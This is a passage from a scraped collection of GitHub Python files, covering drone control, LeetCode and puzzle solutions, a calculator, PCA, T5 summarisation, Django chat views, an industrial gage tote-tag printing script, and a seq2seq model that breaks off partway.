cv2.waitKey(0) & 0xFF\n if key == ord('q'):\n tello.land()\n break\n\n # show frame for debugging\n # r = cv2.addWeighted(dst, 0.5, mask, 0.5, 0.0, None, None) \n # cv2.imshow('res',r)\n # cv2.imshow('dst', dst)\n \n if key == ord('r'):\n cv2.imshow('dst', frame)\n break\n\n util.key_to_move(tello, key)\n\n# Release handle to the webcam\ntello.cap.release()\ncv2.destroyAllWindows()\n","repo_name":"sei0o/tello-experiment","sub_path":"contour_follow.py","file_name":"contour_follow.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22717444691","text":"#\n# @lc app=leetcode id=1 lang=python3\n#\n# [1] Two Sum\n#\nclass Solution:\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n dic = {}\n for i, x in enumerate(nums):\n if x in dic:\n return [dic[x], i]\n else:\n dic[target - x] = i\n\n","repo_name":"bluethon/leetcode","sub_path":"1.two-sum.py","file_name":"1.two-sum.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"14662083604","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\ndata_files_to_include = [('', ['README.md', 'LICENSE'])]\n\nsetuptools.setup(\n name='catede',\n url=\"https://github.com/camacesco/catede\",\n author=\"Francesco Camaglia\",\n author_email=\"francesco.camaglia@phys.ens.fr\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n version='0.0.99',\n description='Python package for entropy and divergence estimation.',\n license=\"GNU GPLv3\",\n python_requires='>=3.5',\n install_requires = [\n \"numpy\",\n \"pandas\",\n \"scipy\",\n \"mpmath\",\n \"tqdm\",\n \"matplotlib\",\n ],\n packages=setuptools.find_packages(),\n data_files = data_files_to_include,\n include_package_data=True,\n)\n","repo_name":"camacesco/catede","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22025530890","text":"################################################################################\n# Author: Karteikay Dhuper\n# Date: March 28th 2021\n# Description This program determines whether or not a square (formatted 2D list)\n# is a Lo Shu magic square.\n################################################################################\n\ndef print_square(square):\n s = square\n rows = 3\n cols = 3\n # nested for loop iterates through 2D array\n for r in range (rows):\n for c in range (cols):\n n = s[r][c] # each iteration stores 1 index from list inside list\n if( (r == 0 and c == 2) or (r == 1 and c == 2) or (r == 2 and c == 2)):\n output = print(f\"{n}\", end = '')\n else:\n output = print(f\"{n} \", end = '')\n print()\n return output\n\ndef is_magic(square):\n s = square\n\n isMagic = True # square set to true by default\n\n # condition for vertical addition\n if(s[0][0]+s[1][0]+s[2][0] and s[0][1]+s[1][1]+s[2][1] and s[0][2]+s[1][2]+s[2][2] != 15):\n isMagic = False\n\n # condition for horizontal addition\n if(s[0][0]+s[0][1]+s[0][1] and s[1][0]+s[1][1]+s[1][2] and s[2][0]+s[2][1]+s[2][2] != 15):\n isMagic = False\n\n # condition for diagonal sum\n if(s[0][0]+s[1][1]+s[2][2] and s[0][2]+s[1][1]+s[2][0] != 15):\n isMagic = False\n\n # condition for number repitition\n flattenList = sum(s, []) # flatens original list by coverting 2d array to 1d array - for easier repitition check\n for i in range (1,9):\n occurances = flattenList.count(i) #checks for occurances of numbers 1-9\n if(occurances > 1): # if more than one occurance of any\n isMagic = False # then it is not magic square\n i+=1\n\n return isMagic\n\ndef main():\n\n m1 = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n m2 = [[5, 5, 5], [5, 5, 5], [5, 5, 5]]\n m3 = [[4, 9, 2], [3, 5, 7], [8, 1, 6]]\n\n # execution for first 2D array list:\n square = m1\n print(\"Your square is:\")\n print_square(square)\n if (is_magic(square) == True):\n print(\"It is a Lo Shu magic square!\")\n else:\n print(\"It is not a Lo Shu magic square.\")\n print()\n\n # execution for second 2D array list:\n square = m2\n print(\"Your square is:\")\n print_square(square)\n if (is_magic(square) == True):\n print(\"It is a Lo Shu magic square!\")\n else:\n print(\"It is not a Lo Shu magic square.\")\n print()\n\n\n # execution for third 2D array list:\n square = m3\n print(\"Your square is:\")\n print_square(square)\n if (is_magic(square) == True):\n print(\"It is a Lo Shu magic square!\")\n else:\n print(\"It is not a Lo Shu magic square.\")\n print()\n\nif __name__ == '__main__':\n main()\n","repo_name":"kartydhpr/EBEC_Entry-Level-Python-Programming","sub_path":"Week 7 (Lists and Tuples)/magic_square.py","file_name":"magic_square.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"73862802467","text":"'''\nStarted/finished 14 May 2020.\n\nSimple calculator backend logic.\n'''\n\n# Class for first class use of math operators\nclass Operator:\n def __init__(self, s, f):\n self.string_to_print = s\n self.operating_function = f\n def __str__(self):\n return self.string_to_print\n def evaluate(self, a, b):\n return self.operating_function(a,b)\n\n# Calculator logic class\nclass Calculator:\n def __init__(self):\n self.expression = []\n\n def add_number(self, number):\n try:\n assert isinstance(number, int) or isinstance(number, float)\n if len(self.expression) == 0:\n self.expression.append(number)\n elif type(self.expression[-1]) == int:\n new_number = int(str(self.expression[-1])+str(number))\n self.expression[-1] = new_number\n elif type(self.expression[-1]) == float:\n return\n else:\n self.expression.append(number)\n except AssertionError:\n raise TypeError(\"Input must be an integer or float.\")\n\n def add_operator(self, operator):\n if len(self.expression) == 0 or type(self.expression[-1]) == Operator:\n return\n\n if operator == '+':\n self.expression.append(Operator(operator, lambda a,b : a+b))\n elif operator == '-':\n self.expression.append(Operator(operator, lambda a,b : a-b))\n elif operator == '*':\n self.expression.append(Operator(operator, lambda a,b : a*b))\n elif operator == '/':\n self.expression.append(Operator(operator, lambda a,b : a/b))\n else:\n raise ValueError(\"Invalid operator.\")\n\n def __clean_expression(self):\n new_expression = []\n temp = None\n for i in self.expression:\n if len(new_expression) == 0:\n new_expression.append(i)\n elif type(i) == Operator:\n temp = i\n else:\n new_expression.append(i)\n new_expression.append(temp)\n return new_expression\n\n def __evaluator(self, expression):\n current = expression.pop()\n if type(current) == Operator:\n next_number = expression.pop()\n return current.evaluate(self.__evaluator(expression), next_number)\n else:\n return current\n\n def evaluate(self):\n if len(self.expression) == 0:\n result = 0\n else:\n expression = self.__clean_expression()\n result = self.__evaluator(expression)\n self.clear_expression()\n self.add_number(result)\n return result\n\n def clear_expression(self):\n self.expression = []\n\n def get_expression(self):\n str_expression = \"\"\n for i in self.expression:\n str_expression += str(i)\n return str_expression\n\n def __str__(self):\n return self.get_expression()\n\ndef test():\n calc = Calculator()\n calc.add_operator('+')\n calc.add_number(-4)\n calc.add_operator('+')\n calc.add_number(3)\n print(\"Test expression = \" + calc.get_expression())\n print(\"Test expression = \" + str(calc))\n calc.add_number(6)\n print(\"Test expression (adding second number) = \" + calc.get_expression())\n calc.add_operator('/')\n print(\"Test expression = \" + calc.get_expression())\n calc.add_operator('*')\n print(\"Test expression (second *) = \" + calc.get_expression())\n calc.add_number(6)\n print(\"Test expression = \" + calc.get_expression())\n result = calc.evaluate()\n print(\"Result: \" + str(result))\n print(\"Test expression = \" + calc.get_expression())\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"austin-b/calculator","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30394357614","text":"##### Problem\n#\n\n##### Input\n#\n\n##### Output\n#\n\ndow_hash = {'Sunday':0, 'Monday':1, 'Tuesday':2, 'Wednesday':3, 'Thursday':4,\n 'Friday':5, 'Saturday':6}\n\npermonth_list = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n\ndef week_to_string(week):\n week = [str(date) for date in week]\n output = \"\"\n for i in range(6):\n output = output + \"%s \" % week[i]\n\n output += week[6]\n\n return output\n\n\nn = int(input())\n\nfor case in range(n):\n (month, day, dayoftheweek) = input().split(\" \")\n (month, day) = (int(month)-1, int(day))\n dow = dow_hash[dayoftheweek]\n\n prior_month = (month + 11) % 12\n\n permonth = permonth_list[month]\n prior_permonth = permonth_list[prior_month]\n\n week = []\n\n for i in range(dow):\n week.append(day-dow+i)\n for i in range(7-dow):\n week.append(day+i)\n\n for i in range(7):\n if week[i] > permonth:\n week[i] = week[i] % permonth\n elif week[i] <= 0:\n week[i] = week[i] + prior_permonth\n\n print(week_to_string(week))\n","repo_name":"heejongahn/algospot","sub_path":"IMPLEMENTATION/weeklycalendar.py","file_name":"weeklycalendar.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"27549346355","text":"try:\n import Tkinter # Python 2\n import ttk\nexcept ImportError:\n import tkinter as Tkinter # Python 3\n import tkinter.ttk as ttk\n\nmaxValue=100\n\n# def progress(currentValue):\n# progressbar[\"value\"]=currentValue\n\n\ndef main():\n root = Tkinter.Tk()\n root.title(\"Termometro\")\n root.geometry(\"500x400\")\n\n progressbar=ttk.Progressbar(root,orient=\"vertical\",length=300,mode=\"determinate\")\n progressbar.pack()\n def progress(currentValue):\n progressbar[\"value\"]=currentValue\n\n currentValue=0\n progressbar[\"value\"]=currentValue\n progressbar[\"maximum\"]=maxValue\n\n divisions=10\n for i in range(divisions):\n currentValue=currentValue+10\n progressbar.after(500, progress(currentValue))\n progressbar.update() # Force an update of the GUI\n\n root.mainloop()\n\n\nif __name__ == '__main__':\n main()","repo_name":"ciriusblb/python","sub_path":"ejemplo.py","file_name":"ejemplo.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28148576058","text":"from sklearn.decomposition import PCA\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import MinMaxScaler\nimport numpy as np\n\n\ndef init():\n global A\n # 原始矩阵\n A = np.array([\n [3, 2000],\n [2, 3000],\n [4, 5000],\n [5, 8000],\n [1, 2000]\n ])\n # 这里修改其中元素的类型为float64,否则将给MinMaxScaler()内部做转换会引起警告\n # By default(copy=True), astype always returns a newly allocated array.\n A = A.astype(np.float64, copy=False)\n\n\n# 预处理->PCA管道\ndef std_PCA(**kwargs):\n scalar = MinMaxScaler() # 用于数据预处理(归一化和缩放)\n pca = PCA(**kwargs) # PCA本身不包含预处理\n pipline = Pipeline([('scalar', scalar), ('pca', pca)])\n return pipline\n\n\nif __name__ == '__main__':\n init()\n # 使用(这里n_components指定降维后的维数k)\n pca = std_PCA(n_components=1)\n Z = pca.fit_transform(A)\n print(Z)\n\n # 数据还原\n A_approx = pca.inverse_transform(Z)\n print(A_approx)\n","repo_name":"LauZyHou/Reading-Notes","sub_path":"scikit-learn机器学习/code/z10/pca_skl.py","file_name":"pca_skl.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"25537272008","text":"import cv2\nimport numpy as np\n\ndef apply_median_filter(image, ksize):\n filtered_image = cv2.medianBlur(image, ksize)\n return filtered_image\n\ndef on_trackbar(val):\n global img\n ksize = val*2+1\n filtered_image = apply_median_filter(img, ksize)\n cv2.imshow(\"Median Filter\", filtered_image)\n\nimg = cv2.imread('img1.jpeg', cv2.IMREAD_GRAYSCALE)\ncv2.namedWindow(\"Median Filter\")\n\ncv2.createTrackbar(\"Kernel Size\", \"Median Filter\", 1, 10, on_trackbar)\n\ncv2.imshow(\"Median Filter\", img)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n","repo_name":"MarineMehrabyan/ImageProcessing","sub_path":"Code_Image_Filters/MedianFilter.py","file_name":"MedianFilter.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"4578624053","text":"# from cgi import print_arguments\nfrom django.shortcuts import render, redirect\nfrom .models import ChatMessage, Profile, Friend\nfrom .forms import ChatMessageForm\nfrom django.http import JsonResponse\nimport json\nimport datetime\nfrom datetime import datetime\nfrom django.forms import model_to_dict\n\n# Create your views here.\ndef index(request):\n user = request.user.profile\n friends = user.friends.all()\n context = {\"user\": user, \"friends\": friends}\n return render(request, \"chat/index.html\", context)\n\n\ndef detail(request,pk):\n friend = Friend.objects.get(profile_id=pk)\n user = request.user.profile\n profile = Profile.objects.get(id=friend.profile.id)\n chats = ChatMessage.objects.all()\n rec_chats = ChatMessage.objects.filter(msg_sender=profile, msg_receiver=user, seen=False)\n rec_chats.update(seen=True)\n form = ChatMessageForm()\n if request.method == \"POST\":\n form = ChatMessageForm(request.POST)\n if form.is_valid():\n chat_message = form.save(commit=False)\n chat_message.msg_sender = user\n chat_message.msg_receiver = profile\n chat_message.save()\n return redirect(\"detail\", pk=friend.profile.id)\n context = {\"friend\": friend, \"form\": form, \"user\":user,\n \"profile\":profile, \"chats\": chats, \"num\": rec_chats.count()}\n return render(request, \"chat/detail.html\", context)\n\ndef sentMessages(request, pk):\n try:\n info = {}\n user = request.user.profile\n usuario_envia = Friend.objects.filter(profile_id=user.id)\n if usuario_envia:\n usuario_envia = usuario_envia.first()\n else:\n usuario_envia = Friend(profile_id=user.id)\n usuario_envia.save(request)\n friend = Friend.objects.get(profile_id=pk)\n profile = Profile.objects.get(id=friend.profile.id)\n existe = Profile.objects.filter(user=profile.user, friends__id=usuario_envia.id).exists()\n relacion_creada = False\n if not existe:\n usuario_recibe = Profile.objects.filter(user=profile.user)\n if usuario_recibe:\n usuario_recibe = usuario_recibe.first()\n usuario_recibe.friends.add(usuario_envia)\n relacion_creada = True\n data = json.loads(request.body)\n new_chat = data[\"msg\"]\n new_chat_message = ChatMessage.objects.create(body=new_chat, msg_sender=user, msg_receiver=profile, seen=False, fecha_creacion=datetime.now() )\n print(new_chat)\n info['new_chat_message'] = new_chat_message.body\n info['fecha_envio'] = str(new_chat_message.fecha_creacion.date()) + \" \" + str(new_chat_message.fecha_creacion.hour) + \":\" + str(new_chat_message.fecha_creacion.minute)\n info['relacion_creada'] = relacion_creada\n return JsonResponse(info, safe=False)\n except Exception as ex:\n pass\n\ndef receivedMessages(request, pk):\n try:\n user = request.user.profile\n friend = Friend.objects.get(profile_id=pk)\n profile = Profile.objects.get(id=friend.profile.id)\n arr = []\n chats = ChatMessage.objects.filter(msg_sender=profile, msg_receiver=user, seen=False)\n for chat in chats:\n fecha = str(chat.fecha_creacion.date()) + \" \" + str(chat.fecha_creacion.hour) + \":\" + str(chat.fecha_creacion.minute)\n arr.append(chat.body)\n arr.append(fecha)\n chats.update(seen=True)\n return JsonResponse(arr, safe=False)\n except Exception as ex:\n pass\n\n\ndef chatNotification(request):\n user = request.user.profile\n friends = user.friends.all()\n mensajes = ChatMessage.objects.filter(msg_receiver_id=user).order_by('msg_sender_id').distinct('msg_sender_id').values_list('msg_sender_id')\n amigos = Friend.objects.filter(id__in=mensajes)\n listado = amigos.values_list('id', flat=True)\n existe = Profile.objects.filter(id=user.id, friend__id__in=listado)\n if not existe:\n usuario_recibe = Profile.objects.filter(id=user.id)\n if usuario_recibe:\n usuario_recibe = usuario_recibe.first()\n for amigo in amigos:\n existe = Profile.objects.filter(id=user.id, friend__id=amigo.id)\n if not existe:\n usuario_recibe.friends.add(amigo)\n relacion_creada = True\n arr = []\n for friend in friends:\n chats = ChatMessage.objects.filter(msg_sender__id=friend.profile.id, msg_receiver=user, seen=False)\n arr.append(chats.count())\n return JsonResponse(arr, safe=False)","repo_name":"jidrovoc27/CAM","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7933115853","text":"from transformers import T5Tokenizer, T5ForConditionalGeneration, T5Config\nimport torch\n\nT5_PATH = 't5-base'\n\nt5_model = T5ForConditionalGeneration.from_pretrained(T5_PATH)\nt5_tokenizer = T5Tokenizer.from_pretrained(T5_PATH)\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\ndef T5_summarization(input_text , num_beams, sum_len):\n input_text = str(input_text).replace('\\n', '')\n input_text = ' '.join(input_text.split())\n input_tokenized = t5_tokenizer.encode(input_text, return_tensors=\"pt\").to(device)\n summary_ids = t5_model.generate(input_tokenized,\n num_beams=int(num_beams),\n no_repeat_ngram_size=2,\n min_length=int(sum_len),\n max_length=int(sum_len) + 20,\n early_stopping=True)\n output = [t5_tokenizer.decode(g, skip_special_tokens=True, clean_up_tokenization_spaces=False) for g in summary_ids]\n # print(\"The summarized text is as follows:\")\n return (output[0])\n\n# T5_summarization()","repo_name":"uabinf/nlp-group-project-fall-2020-text-summarization","sub_path":"T5.py","file_name":"T5.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"32423900739","text":"\n# In addition to printing the Gage Tote-Tags, this script also (stops) or (flags) the AGR record in \n# the database as (complete) by providing the End Count values/data\n\ndef logDebugMsg(msgID, message, msgSource):\n\t\t\n\tparams = {'msgID':msgID,\n\t\t\t 'message':message,\n\t\t\t 'msgSource':msgSource}\n\timport system\n\tsystem.db.runNamedQuery('Gages', 'Debug/LogMsg', params)\n\ndef GetGageFromPath(path):\n\t# passed value like [default]G11/G11/Gage/Count/Batch Good Count\n\t# returns 'G11'\n\ttry:\n\t\tpth = path.replace('[default]', '')\n\t\tpathAry = pth.split('/')\n\t\treturn pathAry[0]\n\t\n\texcept Exception as e:\n\t\terrParams = {'msgID':'GetGageFromPath',\n\t 'message':getattr(e, 'message', repr(e)),\n 'msgSource':'GageAutoPrint_Stp_AGR_Blck_Tote.GetGageFromPath OBOV88'}\n\t\t\t \n\t\tsystem.db.runNamedQuery(\"Gages\", \"Debug/LogMsg\", errParams)\n\n\ntry:\n\n\tif (initialChange == 1): # 1 means this script may have been 'saved' and that saving it generated the change event \n\t\tquit()\n\t\n\tbatchCount = int(newValue.getValue())\n\tGageID = GetGageFromPath(str(event.tagPath))\n\t \n\tpathGageID = '[default]' + GageID + '/' + GageID \n\tpathToTag = pathGageID + '/Gage/Count/Batch Target' # [default]G11/G11/Gage/Count/Batch Target\n\tbatchMax = int(system.tag.readBlocking([pathToTag])[0].value) # element [0] is the max value, full batch, full tote\n\t\n\n\t\n\tif batchCount != batchMax:\n\t\tquit()\n\t\n\theatNum = system.tag.readBlocking([pathGageID + '/Database/WIP Details/Heat'])[0].value\n\twipNum = system.tag.readBlocking([pathGageID + '/Scanner/Active Wip'])[0].value\n\n\tshortPartNum = system.tag.readBlocking([pathGageID + '/Gage/Running Part Number'])[0].value # returns 'G22-881'\n\t\n\tif (shortPartNum is None): shortPartNum = '000-000' # sometimes shortPartNum is None?? (Why??), when this happens we need to set the part number to a value that will, at least, \n\t # let it be written to the database instead of error ==> This is for the error ('NoneType' object has no attribute 'find')\n\t \n\tshortPartNum = shortPartNum[shortPartNum.find('-') + 1 : len(shortPartNum)] # gets the chars after the '-'\n\tlongPartNum = system.db.runNamedQuery(\"Gages\", \"Printing/getLongPartNum\", {'partNum':shortPartNum})\n\t\n\tuser = system.tag.readBlocking([pathGageID + '/Scanner/User'])[0].value\n\tskid_ID = system.tag.readBlocking([pathGageID + '/Skid/skid id'])[0].value\n\thydroMachine = system.db.runNamedQuery(\"Gages\", \"Printing/getAsset\", {'skidID':skid_ID}) \n\tbarCode = system.tag.readBlocking([pathGageID + '/Skid/skid name'])[0].value \n\t\n\tseqNum = system.db.runNamedQuery(\"Printing/getToteTagsPrintedCount\", {\"p_skidID\":skid_ID})\n\tseqNum += 1\n\t\n\tprinterName = GageID\n\t\n\t# logDebugMsg(GageID, batchCount, longPartNum)\n\t\n\n\trptParams = {'heat':heatNum,\n\t\t\t\t 'wip':wipNum,\n\t\t\t\t 'part':longPartNum,\n\t\t\t\t 'q':batchCount,\n\t\t\t\t 'user':user,\n\t\t\t\t 'Autogage':GageID,\n\t\t\t\t 'h':hydroMachine, # param 'h' = hydromat = asset\n\t\t\t\t 'lp':barCode,\n\t\t\t\t 'seq':seqNum,\n\t\t\t\t 'shortLeft':'~',\n\t\t\t\t 'shortRight':'~'}\n\t\n\tsystem.report.executeAndDistribute(path = 'Tote Tag',\n project = 'Gages',\n action = 'print',\n parameters = rptParams,\n actionSettings = {\"primaryPrinterName\":printerName,\"copies\":1,\"useAutoLandscape\":'true','pageOrientation':\"landscape\"})\n\n\tsystem.db.runNamedQuery('Gages', 'Skid/addTote', {'wip':wipNum,\n 'skid':skid_ID,\n 't_stamp':system.date.now(),\n 'use':user,\n 'part_count':batchCount,\n 'tote_short':'N'})\n\n# ==========================================================================================================\n# =========Stop reject count record for (Black Tote)========================================================\n\n\tTotal = system.tag.readBlocking([pathGageID + '/Station Data/ST1/ST 1 Total Bad Parts'])[0].value\n\tSTN_1_Count = system.tag.readBlocking([pathGageID + '/Station Data/ST1/ST 1 Total Rejects'])[0].value\n\tSTN_2_Count = system.tag.readBlocking([pathGageID + '/Station Data/ST2/ST 2 Total Bad Parts'])[0].value\n\tSTN_3_Count = system.tag.readBlocking([pathGageID + '/Station Data/ST3/ST 3 Total Bad Parts'])[0].value\n\tSTN_4_Count = system.tag.readBlocking([pathGageID + '/Station Data/ST4/ST 4 Total Bad Parts'])[0].value\n\tSTN_5_Count = system.tag.readBlocking([pathGageID + '/Station Data/ST5/ST 5 Total Bad Parts'])[0].value\n\tSTN_6_Count = system.tag.readBlocking([pathGageID + '/Station Data/ST6/ST 6 Total Bad Parts'])[0].value\n\t\n\tif (Total is None): Total = '0'\n\tif (STN_1_Count is None): STN_1_Count = '0'\n\tif (STN_2_Count is None): STN_2_Count = '0'\t\t\t\n\tif (STN_3_Count is None): STN_3_Count = '0'\n\tif (STN_4_Count is None): STN_4_Count = '0'\n\tif (STN_5_Count is None): STN_5_Count = '0'\n\tif (STN_6_Count is None): STN_6_Count = '0'\n\t\n\t\n\tstopParams = {\n\t\t\t\t'MachTotalStop':Total,\n\t\t\t\t'GageID':GageID,\n\t\t\t\t'StopSTN_1':STN_1_Count,\n\t\t\t\t'StopSTN_2':STN_2_Count,\n\t\t\t\t'StopSTN_3':STN_3_Count,\n\t\t\t\t'StopSTN_4':STN_4_Count,\n\t\t\t\t'StopSTN_5':STN_5_Count,\n\t\t\t\t'StopSTN_6':STN_6_Count\n\t\t\t\t}\n\t\n\t# logDebugMsg('whiskey', 'a', 'a')\n\tsystem.db.runNamedQuery(\"Gages\", \"AGR_Counts/stop_AGR_black_tote\", stopParams)\n\t# logDebugMsg('whiskey', 'b', 'b')\n\n# =========Stop reject count record for (Black Tote)========================================================\n# ==========================================================================================================\n \n\nexcept Exception as e:\n\n\teParams = {'msgID':GageID + ', ' + heatNum,\n 'message':getattr(e, 'message', repr(e)),\n 'msgSource':'GageAutoPrint_Stp_AGR_Blck_Tote... S47AX59'}\n \n\tsystem.db.runNamedQuery(\"Gages\", \"Debug/LogMsg\", eParams)","repo_name":"DouglasRudd/IgnitionScripts","sub_path":"GageAutoPrint_Stp_AGR_Blck_Tote.py","file_name":"GageAutoPrint_Stp_AGR_Blck_Tote.py","file_ext":"py","file_size_in_byte":6111,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"16765746910","text":"#User function Template for python3\n\nclass Solution:\n\tdef setBits(self, N):\n\t\t# code here\n\t\t\n\t\tb = bin(N)[2:]\n\t\treturn b.count('1')\n# explanation:- Python bin () function returns the binary string of a given integer.\n\n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == '__main__':\n\tT=int(input())\n\tfor i in range(T):\n\t\tN = int(input())\n\t\tob = Solution()\n\t\tans = ob.setBits(N)\n\t\tprint(ans)\n\n\n\n\n# } Driver Code Ends\n","repo_name":"Deven1902/Practice_DSA-","sub_path":"Easy/Number of 1 Bits/number-of-1-bits.py","file_name":"number-of-1-bits.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20593853626","text":"#백준은 넘파이가 안된다네?\nn = int(input())\ndp = []\n\nfor i in range(n):\n dp.append(list(map(int,input().split())))\n\nfor i in range(1,n):\n for j in range(i+1):\n #위에서 내려오는 경우\n if j == i:\n up = 0\n else:\n up = dp[i-1][j]\n #왼쪽 위에서 오는 경우\n if j == 0:\n left_up = 0\n else:\n left_up = dp[i-1][j-1]\n\n dp[i][j] = dp[i][j] + max(up, left_up)\n\nprint(max(dp[n-1]))","repo_name":"YOOyong/Problem_solving","sub_path":"baekjoon/1932_dp.py","file_name":"1932_dp.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33224334370","text":"import argparse\nfrom collections import defaultdict\n\n\ndef get_data(data_path):\n with open(data_path) as file:\n result = []\n for line in file.readlines():\n sides = line.split(\" -> \")\n result.append([[int(n) for n in side.split(',')] for side in sides])\n return result\n\n\ndef coordinate_range(start, stop, length):\n step = 1 if stop - start > 0 else -1 if stop - start < 0 else 0\n return [start + step * x for x in range(length)]\n\n\ndef get_line_points(line):\n length = max(abs(line[0][0] - line[1][0]), abs(line[0][1] - line[1][1])) + 1\n i_range = coordinate_range(line[0][0], line[1][0], length)\n j_range = coordinate_range(line[0][1], line[1][1], length)\n return [(x) for x in zip(i_range, j_range)]\n \n\ndef main(data_path):\n lines = get_data(data_path)\n coordinates = defaultdict(int)\n for line in lines:\n line_points = get_line_points(line)\n for line_point in line_points:\n coordinates[line_point] += 1\n return len([x for x in coordinates.values() if x > 1])\n \n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Day 5, Problem 1')\n parser.add_argument('-t', dest='test', action='store_true',\n help='use test data (default: use real data)')\n args = parser.parse_args()\n day = 5\n data_path = 'data/day' + str(day) + ('_test' if args.test else '') + '.txt'\n print(main(data_path))\n","repo_name":"Grae-Drake/advent_of_code_2021","sub_path":"day5b.py","file_name":"day5b.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8640023637","text":"from __future__ import unicode_literals, print_function, division\nfrom io import open\nimport unicodedata\nimport string\nimport re\nimport random\n\nimport torch\nimport torch.nn as nn\nfrom torch import optim\nimport torch.nn.functional as F\n\nfrom dataset import *\nfrom utils import *\nfrom embeddings import *\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nMAX_LENGTH = 50\n\nclass EncoderRNN(nn.Module):\n def __init__(self, input_size, hidden_size, target_vocab):\n super(EncoderRNN, self).__init__()\n self.hidden_size = hidden_size\n\n #self.embedding = nn.Embedding(input_size, hidden_size)\n self.embedding, num_embeddings, embedding_dim = glove_embedding(asl.vocabulary)\n self.gru = nn.GRU(embedding_dim, hidden_size)\n\n def forward(self, input, hidden):\n embedded = self.embedding(input).view(1, 1, -1)\n output = embedded\n output, hidden = self.gru(output, hidden)\n return output, hidden\n\n def initHidden(self):\n return torch.zeros(1, 1, self.hidden_size, device=device)\n\nclass DecoderRNN(nn.Module):\n def __init__(self, hidden_size, output_size):\n super(DecoderRNN, self).__init__()\n self.hidden_size = hidden_size\n\n self.embedding = nn.Embedding(output_size, hidden_size)\n self.gru = nn.GRU(hidden_size, hidden_size)\n self.out = nn.Linear(hidden_size, output_size)\n self.softmax = nn.LogSoftmax(dim=1)\n\n def forward(self, input, hidden):\n output = self.embedding(input).view(1, 1, -1)\n output = F.relu(output)\n output, hidden = self.gru(output, hidden)\n output = self.softmax(self.out(output[0]))\n return output, hidden\n\n def initHidden(self):\n return torch.zeros(1, 1, self.hidden_size, device=device)\n\nclass AttnDecoderRNN(nn.Module):\n def __init__(self, hidden_size, output_size, dropout_p=0.1, max_length=MAX_LENGTH):\n super(AttnDecoderRNN, self).__init__()\n self.hidden_size = hidden_size\n self.output_size = output_size\n self.dropout_p = dropout_p\n self.max_length = max_length\n\n self.embedding = nn.Embedding(self.output_size, self.hidden_size)\n self.attn = nn.Linear(self.hidden_size * 2, self.max_length)\n self.attn_combine = nn.Linear(self.hidden_size * 2, self.hidden_size)\n self.dropout = nn.Dropout(self.dropout_p)\n self.gru = nn.GRU(self.hidden_size, self.hidden_size)\n self.out = nn.Linear(self.hidden_size, self.output_size)\n\n def forward(self, input, hidden, encoder_outputs):\n embedded = self.embedding(input).view(1, 1, -1)\n embedded = self.dropout(embedded)\n\n attn_weights = F.softmax(\n self.attn(torch.cat((embedded[0], hidden[0]), 1)), dim=1)\n attn_applied = torch.bmm(attn_weights.unsqueeze(0),\n encoder_outputs.unsqueeze(0))\n\n output = torch.cat((embedded[0], attn_applied[0]), 1)\n output = self.attn_combine(output).unsqueeze(0)\n\n output = F.relu(output)\n output, hidden = self.gru(output, hidden)\n\n output = F.log_softmax(self.out(output[0]), dim=1)\n return output, hidden, attn_weights\n\n def initHidden(self):\n return torch.zeros(1, 1, self.hidden_size, device=device)\n\nteacher_forcing_ratio = 0.5\n\n\ndef train(input_tensor, target_tensor, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, max_length=MAX_LENGTH):\n encoder_hidden = encoder.initHidden()\n\n encoder_optimizer.zero_grad()\n decoder_optimizer.zero_grad()\n\n input_length = input_tensor.size(0)\n target_length = target_tensor.size(0)\n\n encoder_outputs = torch.zeros(max_length, encoder.hidden_size, device=device)\n\n loss = 0\n\n for ei in range(input_length):\n encoder_output, encoder_hidden = encoder(\n 